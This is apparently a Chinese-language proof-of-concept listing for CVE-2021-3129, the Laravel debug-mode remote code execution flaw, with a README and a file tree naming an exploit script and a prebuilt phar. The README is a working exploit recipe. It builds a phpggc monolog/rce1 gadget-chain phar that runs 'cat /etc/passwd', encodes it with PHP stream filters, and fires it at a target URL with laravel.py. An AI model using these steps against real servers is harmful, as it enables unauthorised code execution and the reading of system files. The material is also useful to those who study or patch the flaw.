来源

关联漏洞

描述

CVE-2021-3129-Laravel Debug mode

介绍

# CVE-2021-3129

```
生成自定义命令的phar包：
php -d'phar.readonly=0' ./phpggc monolog/rce1 system "cat /etc/passwd" --phar phar -o php://output | base64 -w0

php -a 进入php命令行环境
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-encode');
$size = "";
fwrite($fp, iconv('utf-8','utf-16le',$size));

将生成好的payload保存为一个文件，然后利用脚本指定：
python laravel.py --url "http(s)://192.168.0.109:8000/" --phar test.phar
```

文件快照

 [4.0K]  /data/pocs/3945f45f9a7d4830aa1e86e04fc9d5af257d35f0
├── [ 13K]  laravel-CVE-2021-3129.py
├── [ 507]  README.md
└── [4.2K]  test.phar

0 directories, 3 files

备注